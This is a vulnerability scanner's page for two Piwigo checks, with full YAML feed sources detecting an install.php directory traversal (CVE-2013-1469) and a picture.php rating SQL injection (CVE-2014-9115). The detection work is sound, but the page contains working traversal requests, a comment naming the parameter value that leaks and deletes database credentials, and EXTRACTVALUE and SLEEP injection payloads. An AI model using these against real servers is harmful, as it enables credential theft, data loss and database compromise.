Piwigo — 2 vulnerability checks
noctis ships 2 vulnerability checks for Piwigo, covering 2 CVEs; each one has to observe the bug on the live service before it reports a finding.
← All products · Feeds on GitHub
Piwigo <= 2.4.6 install.php dl Directory Traversal
| CVE | CVE-2013-1469 |
|---|---|
| Severity | critical · CVSS 9.1 |
| Category | file-read — File read |
| Services | http, https |
| Detection | set_var, tcp_connect, match, script, http_request · highest QoD 75 |
| Feed | tests/vulnerabilities/piwigo/CVE-2013-1469.yaml |
Tests Piwigo before 2.4.7 for the unauthenticated directory traversal in install.php (CVE-2013-1469): the "dl" parameter, meant to download a temporary database configuration file, is joined to the data folder path unchecked, and the file it names is sent back and then deleted. Because a hit deletes the file, the test never names one. It first asks for the installation's own local/config/ directory through "../": a vulnerable server answers with the download headers (Content-Disposition: attachment; filename="database.inc.php"), and nothing can be read or deleted since the target is a directory. A control request for an absent directory must not get those headers. This path resolves on Windows servers; on Linux and Unix servers it does not. Otherwise, the test sends a "dl" value that is not 32 hexadecimal digits: a vulnerable installed Piwigo answers "Piwigo is already installed", while 2.4.7 and later reject it with a 500 "[Hacking attempt]" error. That second result is reported with lower confidence. The web root, /piwigo and /gallery are tried.
How noctis detects it
- Raw TCP (TLS on HTTPS), sent verbatim:
GET {{base}}/install.php?dl=/../../local/config/ HTTP/1.0 - Checks
trav_r.bannerfor(?si)^HTTP/1\.[01] 200\b[^\r\n]*\r?\n(?:[^\r\n]+\r?\n)*?Content-Dispo… - Raw TCP (TLS on HTTPS), sent verbatim:
GET {{base}}/install.php?dl=/../../local/config/noctis-absent-{{oob_token}}/ HTTP/1.0 - Checks
ctrl_r.bannerfor(?i)Content-Disposition:[ \t]*attachment - Parses / computes the next value with a Rhai script
- Checks
trav_okfor^true$→ finding QoD 75: Piwigo install.php dl Directory Traversal (CVE-2013-1469) - HTTP(S) request
GET {{base}}/install.php?dl=/../../local/config/noctis-absent-{{oob_token}}.php - Parses / computes the next value with a Rhai script
- Checks
filt_okfor^true$→ finding QoD 70: Piwigo install.php dl Parameter Not Validated (CVE-2013-1469)
References:
- https://nvd.nist.gov/vuln/detail/CVE-2013-1469
- https://github.com/Piwigo/Piwigo/blob/2.4.6/install.php
- https://github.com/Piwigo/Piwigo/blob/2.4.7/install.php
Feed source — tests/vulnerabilities/piwigo/CVE-2013-1469.yaml
# Piwigo <= 2.4.6 install.php "dl" directory traversal — CVE-2013-1469
#
# install.php (2.4.6) runs this on every request, before its "already installed" check:
#
# if (!empty($_GET['dl']) && file_exists(PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl']))
# {
# $filename = PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl'];
# header('Content-Disposition: attachment; filename="database.inc.php"');
# header('Content-Length: '.filesize($filename));
# echo file_get_contents($filename);
# unlink($filename);
# exit();
# }
#
# so dl=/../../local/config/database.inc.php downloads the database credentials AND
# deletes the file (the site breaks). 2.4.7 adds
# check_input_parameter('dl', $_GET, false, '/^[a-f0-9]{32}$/') before it: any other dl
# value ends in fatal_error() → 500 "[Hacking attempt] the input parameter "dl" is not
# valid". The same filter is still in install.php in Piwigo 14.
#
# Because every hit is also an unlink(), the feed never names a file. Detection, per
# install base ("", /piwigo, /gallery):
# 1. QoD 75 — traversal to a DIRECTORY: dl=/../../local/config/ resolves to the
# install's own local/config/ directory. file_exists() is true, so the download
# branch answers with its Content-Disposition: attachment; filename="database.inc.php"
# header; file_get_contents() and unlink() both fail on a directory (unlink(2)
# never removes one), so nothing is read or deleted. Control: the same request for
# an absent random directory (its name still contains local/config) must answer
# without that header (fail-closed: no control reply → no finding). Sent raw over
# tcp_connect: the branch sends Content-Length: filesize(directory) (4096 on ext4,
# 0 on Windows) with a body that does not match it.
# The "_data/pwg_/../.." walk only resolves where ".." is collapsed lexically —
# Windows. On Linux/Unix, file_exists() needs a real "_data/pwg_" directory (the
# kernel, and PHP's ZTS realpath code too, lstat every component), so it misses
# (checked with PHP 8.3 NTS and ZTS).
# 2. QoD 70 — the 2.4.7 input filter is absent: a dl that is not 32 hex digits
# (dl=/../../local/config/noctis-absent-<tok>.php, a file that does not exist)
# gets the 200 "Piwigo is already installed" page instead of the 500
# "[Hacking attempt]" error. This is the source check; it covers Linux installs
# where branch 1 cannot resolve the path, and only installed Piwigo instances.
# The dl code exists from 2.1.0 on; a 2.0.x install.php (no dl code, same
# "already installed" text) is also reported by this branch — accepted.
#
# Improvements over the source check: a real traversal proof (branch 1) with an
# absent-directory control, the fixed release's error text ruled out explicitly in
# branch 2, and three install bases instead of one detected location.
#
# CVE-2013-1468 (CSRF in the LocalFiles Editor plugin, listed with this one in the
# backlog issue) needs an admin's browser and is not tested here.
# CVSS: NVD v3.1 9.1 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N); v2 4.0.
#
# Ported from OpenVAS/Greenbone NVT 2013/gb_piwigo_csrf_n_path_trav_vuln.nasl
# (OID 1.3.6.1.4.1.25623.1.0.803340, GPL-2.0-only).
uid: 48c01c39-b21e-4f4a-a0db-9afc497352e4
name: "Piwigo <= 2.4.6 install.php dl Directory Traversal (CVE-2013-1469)"
description: |
Tests Piwigo before 2.4.7 for the unauthenticated directory traversal in
install.php (CVE-2013-1469): the "dl" parameter, meant to download a temporary
database configuration file, is joined to the data folder path unchecked, and the
file it names is sent back and then deleted. Because a hit deletes the file, the
test never names one. It first asks for the installation's own local/config/
directory through "../": a vulnerable server answers with the download headers
(Content-Disposition: attachment; filename="database.inc.php"), and nothing can be
read or deleted since the target is a directory. A control request for an absent
directory must not get those headers. This path resolves on Windows servers; on
Linux and Unix servers it does not. Otherwise, the test sends a "dl" value that is not 32
hexadecimal digits: a vulnerable installed Piwigo answers "Piwigo is already
installed", while 2.4.7 and later reject it with a 500 "[Hacking attempt]" error.
That second result is reported with lower confidence. The web root, /piwigo and
/gallery are tried.
cves: [CVE-2013-1469]
cvss: 9.1
severity: critical
category: file-read
confidence_base: 0.30
tags: [piwigo, php, path-traversal, file-read, unauthenticated, web-abuse]
services: [http, https]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2013-1469"
- "https://github.com/Piwigo/Piwigo/blob/2.4.6/install.php"
- "https://github.com/Piwigo/Piwigo/blob/2.4.7/install.php"
steps:
# ── Loop group: every step below runs once per candidate install base ──
# Pre-initialise every stored result read later (an undefined variable aborts the
# whole test).
- id: init-trav-r
action: set_var
var_name: trav_r
var_value: {connected: false, banner: ""}
loop:
over: ["", "/piwigo", "/gallery"]
var: base
- id: init-trav-hit
action: set_var
var_name: trav_hit
var_value: false
- id: init-ctrl-r
action: set_var
var_name: ctrl_r
var_value: {connected: false, banner: ""}
- id: init-ctrl-hit
action: set_var
var_name: ctrl_hit
var_value: false
- id: init-filt-r
action: set_var
var_name: filt_r
var_value: {status: 0, body: ""}
# 1. dl=/../../local/config/ → _data/pwg_/../../local/config/ = local/config/ (a
# directory: file_get_contents() and unlink() fail on it).
- id: traversal
action: tcp_connect
port: "{{port}}"
send: "GET {{base}}/install.php?dl=/../../local/config/ HTTP/1.0\r\nHost: {{target_host}}\r\nUser-Agent: Mozilla/5.0\r\nConnection: close\r\n\r\n"
store_as: trav_r
# Header-scoped: the download header must sit in the 200 reply's header block.
- id: traversal-header
action: match
source: trav_r.banner
pattern: "(?si)^HTTP/1\\.[01] 200\\b[^\\r\\n]*\\r?\\n(?:[^\\r\\n]+\\r?\\n)*?Content-Disposition:[ \\t]*attachment;[ \\t]*filename=\"?database\\.inc\\.php"
on_match:
set_vars:
trav_hit: true
# Control: an absent directory whose name still contains local/config.
- id: control
action: tcp_connect
port: "{{port}}"
send: "GET {{base}}/install.php?dl=/../../local/config/noctis-absent-{{oob_token}}/ HTTP/1.0\r\nHost: {{target_host}}\r\nUser-Agent: Mozilla/5.0\r\nConnection: close\r\n\r\n"
condition: "trav_hit == true"
store_as: ctrl_r
- id: control-header
action: match
source: ctrl_r.banner
pattern: "(?i)Content-Disposition:[ \\t]*attachment"
condition: "trav_hit == true"
on_match:
set_vars:
ctrl_hit: true
- id: report-traversal
action: script
code: 'trav_hit == true && type_of(ctrl_r.banner) == "string" && ctrl_r.banner.starts_with("HTTP/") && ctrl_hit == false'
store_as: trav_ok
- id: report-traversal-finding
action: match
source: trav_ok
pattern: "^true$"
on_match:
finding:
title: "Piwigo install.php dl Directory Traversal (CVE-2013-1469)"
description: "An unauthenticated GET to {{base}}/install.php?dl=/../../local/config/ reached the database configuration download branch for a path outside the data folder: the reply carried the Content-Disposition: attachment; filename=\"database.inc.php\" header, while the same request for an absent directory did not. Naming a file instead (for example local/config/database.inc.php) returns its content and then deletes it."
remediation: "Update Piwigo to 2.4.7 or later, and delete or block access to install.php once Piwigo is installed."
confidence_delta: 0.55
qod: 75
evidence: "GET {{base}}/install.php?dl=/../../local/config/ answered with the database.inc.php download headers; the absent-directory control did not"
stop: true
# 2. The 2.4.7 dl filter is absent: an invalid dl naming a file that does not exist
# falls through to the "already installed" page instead of the 500 error.
- id: filter-probe
action: http_request
method: GET
path: "{{base}}/install.php?dl=/../../local/config/noctis-absent-{{oob_token}}.php"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
store_as: filt_r
- id: filter-verdict
action: script
code: 'filt_r.status == 200 && type_of(filt_r.body) == "string" && filt_r.body.contains("Piwigo is already installed") && !filt_r.body.contains("Hacking attempt")'
store_as: filt_ok
- id: report-filter
action: match
source: filt_ok
pattern: "^true$"
on_match:
finding:
title: "Piwigo install.php dl Parameter Not Validated (CVE-2013-1469)"
description: "{{base}}/install.php accepted a dl value that is not 32 hexadecimal digits and answered \"Piwigo is already installed\"; Piwigo 2.4.7 and later reject it with a 500 \"[Hacking attempt]\" error. The parameter reaches the file download-and-delete code unchecked. The traversal itself was not confirmed: on Linux/Unix servers the \"../\" walk does not resolve."
remediation: "Update Piwigo to 2.4.7 or later, and delete or block access to install.php once Piwigo is installed."
confidence_delta: 0.40
qod: 70
evidence: "GET {{base}}/install.php?dl=/../../local/config/noctis-absent-<token>.php answered 200 \"Piwigo is already installed\" (no [Hacking attempt] rejection)"
stop: truePiwigo picture.php rate Parameter SQL Injection
| CVE | CVE-2014-9115 |
|---|---|
| Severity | high · CVSS 7.5 |
| Category | sqli — SQL injection |
| Services | http, https |
| Detection | script, set_var, http_request, match · highest QoD 97 |
| Feed | tests/vulnerabilities/piwigo/CVE-2014-9115.yaml |
Piwigo before 2.5.5, 2.6.x before 2.6.4 and 2.7.x before 2.7.2 place the "rate" value of a picture rating (picture.php?/<picture>&action=rate, open to anonymous visitors by default) unquoted into an SQL INSERT: the value is only checked with a loose comparison against the allowed ratings, so "1 AND <SQL>" is accepted.
This check opens the gallery's "all photos" (flat) page, takes a picture link from it and posts a rating whose value is an EXTRACTVALUE expression; the finding is confirmed when the database error printed by Piwigo carries the sum of two random numbers computed by the database. When Piwigo's error output is not visible, it falls back to a time-based check: two SLEEP delays of different random lengths must each delay the reply by the requested time over a same-shape request without delay. Both payloads make the INSERT fail, so no rating is added and no data is read; as with any rating, Piwigo first clears earlier anonymous ratings of that picture coming from the scanner's network.
How noctis detects it
- Parses / computes the next value with a Rhai script
- HTTP(S) request
GET {{pw_dir}}/index.php?/categories/flat - Parses / computes the next value with a Rhai script
- HTTP(S) request
POST {{pw_dir}}/picture.php?{{pg.pic}}&action=ratewith a crafted body - Parses / computes the next value with a Rhai script
- Checks
xv.foundfor^XPATH syntax error: ~[0-9]+$→ finding QoD 97: Error-based SQLi confirmed: POST …/picture.php?…&action=rate with rate=1 AND extractvalue(1,concat(0x7e,(SELECT …+…))) made the database re… - HTTP(S) request
POST {{pw_dir}}/picture.php?{{pg.pic}}&action=ratewith a crafted body - Parses / computes the next value with a Rhai script
- HTTP(S) request
POST {{pw_dir}}/picture.php?{{pg.pic}}&action=ratewith a crafted body - HTTP(S) request
POST {{pw_dir}}/picture.php?{{pg.pic}}&action=ratewith a crafted body - Parses / computes the next value with a Rhai script
- Checks
tb.foundfor^SLEEP$→ finding QoD 75: Time-based SQLi confirmed: POST …/picture.php?…&action=rate with rate=1 AND (SELECT 1 FROM (SELECT SLEEP(n))noctis)+(SELECT 1 UNION SELECT …
References:
- https://nvd.nist.gov/vuln/detail/CVE-2014-9115
- http://seclists.org/fulldisclosure/2014/Nov/23
- http://piwigo.org/releases/2.7.2
Feed source — tests/vulnerabilities/piwigo/CVE-2014-9115.yaml
# Piwigo < 2.5.5 / 2.6.x < 2.6.4 / 2.7.x < 2.7.2 — picture.php "rate" SQL injection (CVE-2014-9115)
#
# picture.php?/<image>/category/<cat>&action=rate (no login needed while anonymous
# rating is on, the default) calls rate_picture($page['image_id'], $_POST['rate']):
#
# if (!isset($rate) or !$conf['rate'] or !in_array($rate, $conf['rate_items']))
# return false; // rate_items = array(0,1,2,3,4,5)
# ...
# INSERT INTO piwigo_rate (user_id,anonymous_id,element_id,rate,date)
# VALUES (<uid>,'<anon>',<image>,'.$rate.',NOW())
#
# in_array() compares loosely: under PHP 5/7, "1 AND <anything>" == 1, so any value that
# starts with a rating digit reaches the INSERT unquoted. 2.5.5 / 2.6.4 / 2.7.2 add
# preg_match('/^[0-9]+$/', $rate). (Under PHP 8 the comparison is strict for
# non-numeric strings, so the same old code is not reachable there.)
#
# The source check posts rate=1 AND SLEEP(3) (then 5) and times the reply. That INSERT
# succeeds and stores a rating of 0 on the picture. This feed instead:
# 1. Finds the gallery first and takes a real picture from it: the "flat" view of all
# visible photos (index.php?/categories/flat — the home page only lists albums) must
# be a Piwigo page, and its first thumbnail link picture.php?/<id> is used. That flat
# picture URL only needs the photo to be visible, in any album. The source check only
# tries photo 1 in album 1: a 404 when album 1 is gone, and a 302 to another URL (the
# rate action never runs) when photo 1 sits in another album. Fallback: picture.php?/1.
# 2. QoD 97 — error-based, database-computed proof:
# rate=1 AND extractvalue(1,concat(0x7e,(SELECT A+B))) with random 6-digit A, B.
# Piwigo prints failed queries by default (my_error(): display_errors forced on,
# "[mysql error 1105] XPATH syntax error: '~<A+B>'"); the sum is never in the
# request. The INSERT fails, nothing is stored.
# 3. QoD 75 — time-based, for servers whose output buffering swallows that warning
# before the redirect: rate=1 AND (SELECT 1 FROM (SELECT SLEEP(n))noctis)+(SELECT 1
# UNION SELECT 2). The derived table sleeps once, then the two-row subquery makes the
# INSERT fail ("Subquery returns more than 1 row"), so no rating is stored either.
# Same-shape SLEEP(0) baseline, then two random delays that must each land in their
# own window with a >= 2.5 s gap (a tarpit delaying every request alike gives ~0).
# Verified on MariaDB 10.11 (not on MySQL; if MySQL raised the subquery error before
# the sleep, the branch would only miss, never misfire): sleeps n s, inserts no row.
# duration_ms covers the full response (#1924), so a proxy that flushes headers
# early does not hide the delay.
# Side effect: before the INSERT, rate_picture() runs DELETE FROM piwigo_rate WHERE
# element_id = <photo> AND user_id = <guest> AND anonymous_id = '<client IP without its
# last octet>' — that succeeds, so existing anonymous ratings of the probed photo from the
# scanner's /24 (all of them behind a reverse proxy) are removed. No rating is added.
#
# CVSS: NVD v2 7.5 (no v3 score published).
#
# Ported from OpenVAS/Greenbone NVT 2014/gb_piwigo_rate_param_sql_inj_vuln.nasl
# (OID 1.3.6.1.4.1.25623.1.0.805102, GPL-2.0-only).
uid: c20537bc-a58f-4d16-ae5d-dd27a2368400
name: "Piwigo picture.php rate Parameter SQL Injection (CVE-2014-9115)"
description: |
Piwigo before 2.5.5, 2.6.x before 2.6.4 and 2.7.x before 2.7.2 place the "rate"
value of a picture rating (picture.php?/<picture>&action=rate, open to anonymous
visitors by default) unquoted into an SQL INSERT: the value is only checked with a
loose comparison against the allowed ratings, so "1 AND <SQL>" is accepted.
This check opens the gallery's "all photos" (flat) page, takes a picture link from
it and posts a rating whose value is an EXTRACTVALUE expression; the finding is confirmed when the
database error printed by Piwigo carries the sum of two random numbers computed by
the database. When Piwigo's error output is not visible, it falls back to a
time-based check: two SLEEP delays of different random lengths must each delay the
reply by the requested time over a same-shape request without delay. Both payloads
make the INSERT fail, so no rating is added and no data is read; as with any rating,
Piwigo first clears earlier anonymous ratings of that picture coming from the
scanner's network.
cves: [CVE-2014-9115]
cvss: 7.5
severity: high
confidence_base: 0.30
category: sqli
tags: [piwigo, gallery, php, sqli, error-based, time-based]
services: [http, https]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2014-9115"
- "http://seclists.org/fulldisclosure/2014/Nov/23"
- "http://piwigo.org/releases/2.7.2"
- "OpenVAS/Greenbone NASL 2014/gb_piwigo_rate_param_sql_inj_vuln.nasl (GPL-2.0-only)"
steps:
# ── Random operands and sleep delays ──────────────────────────────────────
- id: gen-operands
action: script
code: |
let a = rand_int(100000, 999999);
let b = rand_int(100000, 999999);
let s1 = rand_int(4, 5);
#{ a: a, b: b, sum: "~" + (a + b), s1: s1, s2: s1 + 3 }
store_as: sc
# ── Per candidate install base (loop group) ───────────────────────────────
# Pre-initialise every stored result a script reads: a failed request leaves
# store_as unset and an undefined var would abort the whole test.
- id: init-flat-resp
action: set_var
var_name: flat_resp
var_value: {status: 0, body: null}
loop:
over: ["", "/piwigo", "/gallery"]
var: pw_dir
- id: init-xv-resp
action: set_var
var_name: xv_resp
var_value: {status: 0, body: null}
- id: init-base-resp
action: set_var
var_name: base_resp
var_value: {status: 0, body: null, duration_ms: 0}
- id: init-sleep1-resp
action: set_var
var_name: sleep1_resp
var_value: {status: 0, body: null, duration_ms: 0}
- id: init-sleep2-resp
action: set_var
var_name: sleep2_resp
var_value: {status: 0, body: null, duration_ms: 0}
# ── "All photos" flat view: Piwigo gate + a real picture link ─────────────
- id: flat
action: http_request
method: GET
port: "{{port}}"
path: "{{pw_dir}}/index.php?/categories/flat"
tls_insecure: true
follow_redirects: false
timeout_secs: 15
store_as: flat_resp
- id: pick-picture
action: script
code: |
let body = if type_of(flat_resp.body) == "string" { flat_resp.body } else { "" };
let m = eregmatch("picture\\.php\\?(/[0-9][0-9A-Za-z_/-]*)", body);
let pic = if m.len() > 0 { m[1] } else { "/1" };
let ok = flat_resp.status == 200 && (m.len() > 0 || ereg("(?i)piwigo", body));
#{ ok: ok, pic: pic }
store_as: pg
# ── Stage 1: EXTRACTVALUE error returning the database-computed sum ───────
- id: xv-probe
action: http_request
method: POST
port: "{{port}}"
path: "{{pw_dir}}/picture.php?{{pg.pic}}&action=rate"
headers:
Content-Type: "application/x-www-form-urlencoded"
body: "rate=1%20AND%20extractvalue(1,concat(0x7e,(SELECT%20{{sc.a}}%2B{{sc.b}})))"
condition: "pg.ok"
tls_insecure: true
follow_redirects: false
timeout_secs: 15
store_as: xv_resp
- id: check-xv
action: script
code: |
let body = if type_of(xv_resp.body) == "string" { xv_resp.body } else { "" };
let hit = pg.ok && body.contains("XPATH syntax error") && body.contains(sc.sum);
#{ hit: hit, found: if hit { "XPATH syntax error: " + sc.sum } else { "" } }
store_as: xv
- id: report-xv
action: match
source: xv.found
pattern: "^XPATH syntax error: ~[0-9]+$"
condition: "xv.hit"
on_match:
finding:
confidence_delta: 0.65
qod: 97
evidence: "Error-based SQLi confirmed: POST {{pw_dir}}/picture.php?{{pg.pic}}&action=rate with rate=1 AND extractvalue(1,concat(0x7e,(SELECT {{sc.a}}+{{sc.b}}))) made the database return an XPATH syntax error carrying the computed sum {{sc.sum}} (HTTP {{xv_resp.status}})"
stop: true
# ── Stage 2 (error output hidden): time-based check ───────────────────────
# Same-shape baseline: SLEEP(0), and the INSERT fails just like the timed ones.
- id: baseline
action: http_request
method: POST
port: "{{port}}"
path: "{{pw_dir}}/picture.php?{{pg.pic}}&action=rate"
headers:
Content-Type: "application/x-www-form-urlencoded"
body: "rate=1%20AND%20(SELECT%201%20FROM%20(SELECT%20SLEEP(0))noctis)%2B(SELECT%201%20UNION%20SELECT%202)"
condition: "pg.ok"
tls_insecure: true
follow_redirects: false
timeout_secs: 15
store_as: base_resp
- id: check-baseline
action: script
code: |
#{ ok: pg.ok && base_resp.status != 0 && base_resp.duration_ms < 4000 }
store_as: bl
- id: sleep-probe-1
action: http_request
method: POST
port: "{{port}}"
path: "{{pw_dir}}/picture.php?{{pg.pic}}&action=rate"
headers:
Content-Type: "application/x-www-form-urlencoded"
body: "rate=1%20AND%20(SELECT%201%20FROM%20(SELECT%20SLEEP({{sc.s1}}))noctis)%2B(SELECT%201%20UNION%20SELECT%202)"
condition: "bl.ok"
tls_insecure: true
follow_redirects: false
timeout_secs: 25
store_as: sleep1_resp
- id: sleep-probe-2
action: http_request
method: POST
port: "{{port}}"
path: "{{pw_dir}}/picture.php?{{pg.pic}}&action=rate"
headers:
Content-Type: "application/x-www-form-urlencoded"
body: "rate=1%20AND%20(SELECT%201%20FROM%20(SELECT%20SLEEP({{sc.s2}}))noctis)%2B(SELECT%201%20UNION%20SELECT%202)"
condition: "bl.ok && sleep1_resp.duration_ms >= base_resp.duration_ms + sc.s1 * 1000 - 300"
tls_insecure: true
follow_redirects: false
timeout_secs: 25
store_as: sleep2_resp
# Each delay must sit in its own window over the baseline, and the longer SLEEP
# must take at least 2.5 s more than the shorter one.
- id: check-timing
action: script
code: |
let base = base_resp.duration_ms;
let d1 = sleep1_resp.duration_ms - base;
let d2 = sleep2_resp.duration_ms - base;
let ok = bl.ok && sleep1_resp.status != 0 && sleep2_resp.status != 0
&& d1 >= sc.s1 * 1000 - 300 && d1 <= sc.s1 * 1000 + 2500
&& d2 >= sc.s2 * 1000 - 300 && d2 <= sc.s2 * 1000 + 2500
&& (d2 - d1) >= 2500;
#{ blind: ok, found: if ok { "SLEEP" } else { "" } }
store_as: tb
- id: report-time
action: match
source: tb.found
pattern: "^SLEEP$"
condition: "tb.blind"
on_match:
finding:
confidence_delta: 0.55
qod: 75
evidence: "Time-based SQLi confirmed: POST {{pw_dir}}/picture.php?{{pg.pic}}&action=rate with rate=1 AND (SELECT 1 FROM (SELECT SLEEP(n))noctis)+(SELECT 1 UNION SELECT 2) delayed the reply by the injected n — baseline SLEEP(0) {{base_resp.duration_ms}} ms, SLEEP({{sc.s1}}) {{sleep1_resp.duration_ms}} ms, SLEEP({{sc.s2}}) {{sleep2_resp.duration_ms}} ms"
stop: true